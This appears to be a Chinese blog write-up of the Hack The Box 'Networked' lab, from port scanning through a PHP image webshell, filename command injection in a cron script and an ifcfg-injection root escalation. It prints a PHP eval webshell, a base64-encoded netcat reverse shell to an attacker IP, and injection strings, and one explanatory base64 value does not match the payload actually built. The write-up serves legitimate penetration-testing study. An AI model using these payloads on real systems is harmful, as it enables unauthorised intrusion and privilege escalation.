HTB Networked 打靶练习详细记录

你是慕鸢呀~ 发布于 2 天前 3 次阅读 3575 字 预计阅读时间: 16 分钟


AI 摘要

HTB Networked 打靶练习详细记录 本文完整记录了从外部渗透到完全控制HTB Networked靶机(10.10.10.146)的全过程。攻击路径包含以下关键环节: 1. 初始侦察 - 发现开放22(SSH)、80(HTTP)端口 - 识别Apache 2.4.6 + PHP 5.4.16的脆弱组合 - 目录遍历发现/backup/泄露源码 2. 初始访问 - 利用双扩展名(php.png)绕过上传检查 - 结合Apache的AddHandler配置实现代码执行 - 通过图片马获取WebShell(apache权限) 3. 横向移动 - 发现guly用户的cron作业存在命令注入 - 构造特殊文件名触发反弹Shell - 成功升级到guly用户权限 4. 权限提升 - 分析sudo权限发现可执行changename.sh - 利用网络配置文件解析特性注入命令 - 通过ifup工具实现root权限获取 整个攻击链展示了从信息收集到权限提升的完整渗透流程,涉及文件上传绕过、命令注入、配置解析漏洞等多种攻击技术。最终在获取root权限后成功读取系统标志文件。

HTB Networked 打靶练习详细记录

摘要

本文详细记录了对HTB Networked (10.10.10.146) 的完整打靶练习过程。练习过程中成功利用了文件上传漏洞和Apache配置错误获取初始立足点,随后通过cron作业中的命令注入漏洞实现用户权限的横向移动,最终利用网络配置脚本中的命令执行漏洞成功提升至root权限。整个攻击链展示了从外部攻击者视角到完全控制系统的完整过程。

关键技术

  • 文件上传绕过技术: 利用双扩展名和图片马绕过文件类型检查
  • Apache配置错误: AddHandler指令的不安全配置导致任意代码执行
  • 命令注入 (CWE-78): 利用cron作业中的不安全exec()调用
  • 配置文件解析漏洞: 利用网络接口配置文件的解析特性实现权限提升
  • 图片马: 在合法PNG文件中嵌入PHP代码

1. 初始侦察阶段

1.1 端口扫描

首先对目标系统进行全端口扫描

nmap -sT --min-rate 10000 -p- 10.10.10.146

参数详解:

  • -sT: TCP Connect扫描,建立完整的TCP三次握手连接
  • --min-rate 10000: 设置最小发包速率为10000包/秒,加快扫描速度
  • -p-: 扫描所有65535个端口(1-65535)
  • 10.10.10.146: 目标IP地址

扫描结果:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 18:08 CST
Nmap scan report for bogon (10.10.10.146)
Host is up (0.30s latency).
Not shown: 65469 filtered tcp ports (no-response), 62 filtered tcp ports (host-unreach)
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

初步分析:

  • SSH服务运行在标准22端口
  • HTTP服务运行在80端口
  • HTTPS端口443处于关闭状态

1.2 详细服务识别

针对发现的开放端口进行深度扫描:

nmap -sT -sC -sV -p22,80 10.10.10.146

参数详解:

  • -sT: TCP Connect扫描
  • -sC: 使用默认NSE脚本集进行服务识别和漏洞探测
  • -sV: 版本检测,识别服务具体版本信息
  • -p22,80: 指定扫描端口

详细扫描结果:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 18:11 CST
Nmap scan report for bogon (10.10.10.146)
Host is up (0.31s latency).

PORT    STATE    SERVICE VERSION
22/tcp  open     ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open     http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

关键发现:

  • SSH版本:OpenSSH 7.4(相对较旧的版本)
  • Web服务器:Apache 2.4.6运行在CentOS上
  • PHP版本:5.4.16(存在多个已知漏洞)
  • 操作系统:CentOS(基于服务器响应头推断)

2. 服务探测与信息收集

2.1 Web应用程序初步探测

浏览器访问http://10.10.10.146,页面内容较少,未发现明显的攻击向量。

2.2 目录遍历

使用feroxbuster进行目录和文件枚举:

feroxbuster -u http://10.10.10.146

工具说明: feroxbuster是一个高性能的内容发现工具,使用Rust编写,支持递归扫描和多线程。

关键发现:

http://10.10.10.146/backup/ => Directory listing (add --scan-dir-listings to scan)

发现存在目录列表泄露,这是一个严重的信息泄露漏洞。

2.3 备份文件分析

访问http://10.10.10.146/backup/发现backup.tar文件,下载并解压,有四个文件 index.php lib.php photos.php upload.php 很明显这是web目录的备份,尝试访问 http://10.10.10.146/upload.php ,成功找到上传接口,尝试上传php木马,但是返回 Invalid image file. 看来上传接口有限制,尝试绕过:

wget http://10.10.10.146/backup/backup.tar
tar -xvf backup.tar

解压内容:

  • index.php: 网站首页文件
  • lib.php: 包含核心函数库
  • photos.php: 图片展示页面
  • upload.php: 文件上传功能

代码审计发现: 通过分析源代码,发现了文件上传功能的实现逻辑和漏洞。

3. 漏洞识别与初始访问

3.1 文件上传漏洞分析

3.1.1 漏洞原理

文件上传功能的核心逻辑存在于upload.phplib.php两个文件中。upload.php脚本调用了两个检查函数:

  1. check_file_type函数
    • 仅检查MIME类型是否以image/开头
    • 可通过构造图片马绕过
  2. getnameUpload函数
    • 使用explode.分割文件名
    • 错误地将第一个.后的所有内容作为扩展名
    • 例如:shell.php.png被识别为扩展名php.png

3.1.2 Apache配置错误

php.conf中发现危险配置:

AddHandler php5-script .php

此配置使得任何文件名中包含.php的文件都会被PHP解释器处理,而非仅处理以.php结尾的文件。

3.2 漏洞利用

3.2.1 制作恶意载荷

使用任意png文件,创建包含PHP代码的PNG图片:

# 使用vim编辑器在PNG文件元数据中嵌入PHP一句话木马
vim shell.php.png
# 在文件中嵌入:<?php eval($_POST[1]);?>

注意事项:

  • 必须使用vim等不会破坏二进制文件的编辑器
  • 避免使用Mousepad等GUI编辑器

使用fille命令验证文件格式:

file shell.php.png
shell.php.png: PNG image data, 195 x 168, 8-bit/color RGBA, non-interlaced

3.2.2 上传并获取WebShell

  1. 上传恶意文件至http://10.10.10.146/upload.php
  2. http://10.10.10.146/photos.php找到上传的文件
  3. 获取文件链接:http://10.10.10.146/uploads/10_10_16_5.php.png
  4. 使用蚁剑连接,密码设置为1

3.2.3 获得初始Shell

通过WebShell执行命令:

id
uid=48(apache) gid=48(apache) groups=48(apache)

成功获得apache用户权限的Shell访问。

4. 横向移动

4.1 信息收集

在获得apache用户权限后,进行系统信息收集:

ls -al /home/
# 发现用户guly

cd /home/guly
ls -al

关键文件发现:

total 28
drwxr-xr-x. 2 guly guly 4096 Sep  6  2022 .
drwxr-xr-x. 3 root root   18 Jul  2  2019 ..
lrwxrwxrwx. 1 root root    9 Sep  7  2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly   18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly  193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly  231 Oct 30  2018 .bashrc
-r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly   33 Jul 11 11:48 user.txt

4.2 Cron任务分析

查看定时任务配置:

cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php

Cron表达式解析:

  • */3 * * * *: 每3分钟执行一次
  • 以guly用户身份运行PHP脚本

4.3 命令注入漏洞分析

分析check_attack.php脚本:

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
    if ($value == 'index.html') {
        continue;
    }
    list ($name,$ext) = getnameCheck($value);
    $check = check_ip($name,$value);

    if (!($check[0])) {
        echo "attack!\n";
        file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
        exec("rm -f $logpath");
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        echo "rm -f $path$value\n";
        mail($to, $msg, $msg, $headers, "-F$value");
    }
}
?>

漏洞点:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

这行代码将从目录中读取到的文件名(存储在$value变量中)直接拼接到一个shell命令字符串中,并通过exec函数执行。这是一种教科书式的命令注入漏洞(CWE-78),因为攻击者可以通过控制文件名来注入任意shell命令。

代码使用filter_var($name, FILTER_VALIDATE_IP)来判断文件名(不含扩展名的部分)是否为一个合法的IP地址 。如果不是,脚本就会触发上述的exec删除命令。但是,这也保证了攻击者可以轻易地通过创建一个非IP地址格式的文件名来绕过这个检查,从而确保恶意的exec调用被执行。

4.4 漏洞利用

4.4.1 构造反弹Shell载荷

# 原始命令
nc -e /bin/bash 10.10.16.5 7777

# Base64编码
echo -n "nc -e /bin/bash 10.10.16.5 7777" | base64
bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw==

# 构造注入载荷
a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw== | base64 -d | sh; b

当脚本运行时,它会循环运行文件,当运行到恶意载荷时,它会将 $value 设置为 a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjcgNDQzCg== | base64 -d | sh; b 并运行:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

相当于运行

exec("nohup /bin/rm -f /var/www/html/uploads/a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw== | base64 -d | sh; b > /dev/null 2>&1 &");

4.4.2 创建恶意文件

在uploads目录创建恶意文件名:

touch '/var/www/html/uploads/a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw== | base64 -d | sh; b'

4.4.3 建立监听并获取Shell

# 攻击机建立监听
nc -lnvp 7777

# 等待约3分钟后获得反弹Shell
listening on [any] 7777 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.146] 43670

id
uid=1000(guly) gid=1000(guly) groups=1000(guly)

cat user.txt
06faca999f1b******ab91d7b703ade7

4.4.4 Shell优化

使用Python获得交互式Shell:

python -c 'import pty; pty.spawn("/bin/bash")'

5. 权限提升前的信息收集

5.1 sudo权限检查

sudo -l

输出结果:

Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, 
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", 
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

关键发现: guly用户可以无需密码以root权限执行/usr/local/sbin/changename.sh脚本。

5.2 脚本分析

查看changename.sh脚本内容:

cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

脚本功能分析:

该shell脚本的功能是交互式地向用户询问网络配置值(如NAME, PROXY_METHOD等),然后将这些值以VAR=value的格式写入/etc/sysconfig/network-scripts/ifcfg-guly这个网络接口配置文件中。脚本最关键的操作是在结尾处调用/sbin/ifup guly0命令,该命令会读取并执行刚刚创建的配置文件。

  1. 创建网络接口配置文件
  2. 交互式读取用户输入
  3. 使用正则表达式验证输入
  4. 将配置写入文件
  5. 执行ifup命令激活接口

6. 权限提升

6.1 漏洞分析

6.1.1 正则表达式缺陷

脚本中的正则表达式:

regexp="^[a-zA-Z0-9_\ /-]+$"

问题: 允许空格字符(\),这在网络配置文件解析时会导致命令注入。

6.1.2 配置文件解析漏洞

漏洞的核心不在于脚本本身,而在于脚本与其调用的ifup工具之间的交互。在许多Linux发行版(包括此靶机中的CentOS)中,网络脚本的解析器存在一个微妙但致命的行为:当它解析一个例如 VARIABLE=value with spaces 的行时,可能会将空格后的部分(with spaces)解释为需要在子shell中执行的命令。

脚本试图通过一个正则表达式来验证用户输入:regexp="^[a-zA-Z0-9_\ /-]+$" 。这个正则表达式的目的是创建一个“安全”字符的白名单。然而,有一个致命的失误:脚本明确地将空格(\)包含在了允许的字符集中。这可能是为了允许某些字段(如NAME)中包含空格,但解释器会将空格后内容解释为 命令,这意味着可能存在任意命令执行

6.2尝试提权

当脚本提示输入PROXY_METHOD的值时,输入a /bin/bash

  1. 脚本的正则表达式检查通过,因为它只包含允许的字符(字母和空格)。
  2. 脚本将PROXY_METHOD=a /bin/bash这一行写入/etc/sysconfig/network-scripts/ifcfg-guly文件。
  3. 脚本以root权限(通过sudo)执行/sbin/ifup guly0
  4. ifup工具在解析配置文件时,遇到PROXY_METHOD=a /bin/bash,它将/bin/bash解释为一个需要执行的命令。
  5. 由于ifup本身是以root身份运行的,因此/bin/bash命令也被赋予了root权限,从而为我提供了一个交互式的root shell 。

6.3 漏洞利用

执行提权攻击:

sudo /usr/local/sbin/changename.sh

交互过程:

interface NAME:
a                          # 输入正常值

interface PROXY_METHOD:
a /bin/bash               # 注入恶意命令

interface BROWSER_ONLY:
a                          # 输入正常值

interface BOOTPROTO:
a                          # 输入正常值

执行结果:

[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)

[root@networked network-scripts]# cd /root
[root@networked ~]# cat root.txt
825df5e5cb******ad7b11804d1682bc

成功获得root权限。

7. 总结

攻击链路图

互联网
   |
   v
[端口扫描] --> 发现22/80端口
   |
   v
[目录遍历] --> 发现/backup/目录泄露
   |
   v
[源码审计] --> 发现文件上传漏洞 + Apache配置错误
   |
   v
[图片马攻击] --> shell.php.png --> WebShell (apache用户)
   |
   v
[信息收集] --> 发现cron作业和check_attack.php
   |
   v
[命令注入] --> 反弹Shell (guly用户)
   |
   v
[sudo权限分析] --> 发现changename.sh脚本
   |
   v
[配置文件解析漏洞] --> root权限

各阶段关键点总结

  1. 初始侦察: 通过Nmap扫描识别开放服务,发现Apache 2.4.6和PHP 5.4.16的组合
  2. 信息收集: 目录遍历发现备份文件泄露,获得源代码进行审计
  3. 初始访问: 利用文件上传漏洞结合Apache配置错误,通过图片马获得WebShell
  4. 横向移动: 发现并利用cron作业中的命令注入漏洞,从apache用户提升到guly用户
  5. 权限提升: 利用网络配置脚本中的输入验证缺陷和配置文件解析特性,最终获得root权限

攻击向量展示

  • web漏洞: 文件上传验证不当(CWE-434)
  • 中间件配置错误: Apache AddHandler指令的不安全配置
  • 命令注入: 直接将用户输入拼接到shell命令(CWE-78)
  • 输入验证缺陷: 正则表达式允许危险字符
  • 配置文件解析漏洞: 网络配置文件解析器的特殊行为

结束语

本次打靶练习充分展示了多层次的安全问题如何形成完整的攻击链。从最初的信息泄露到最终的权限提升,每一步都利用了不同类型的安全缺陷。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-07-12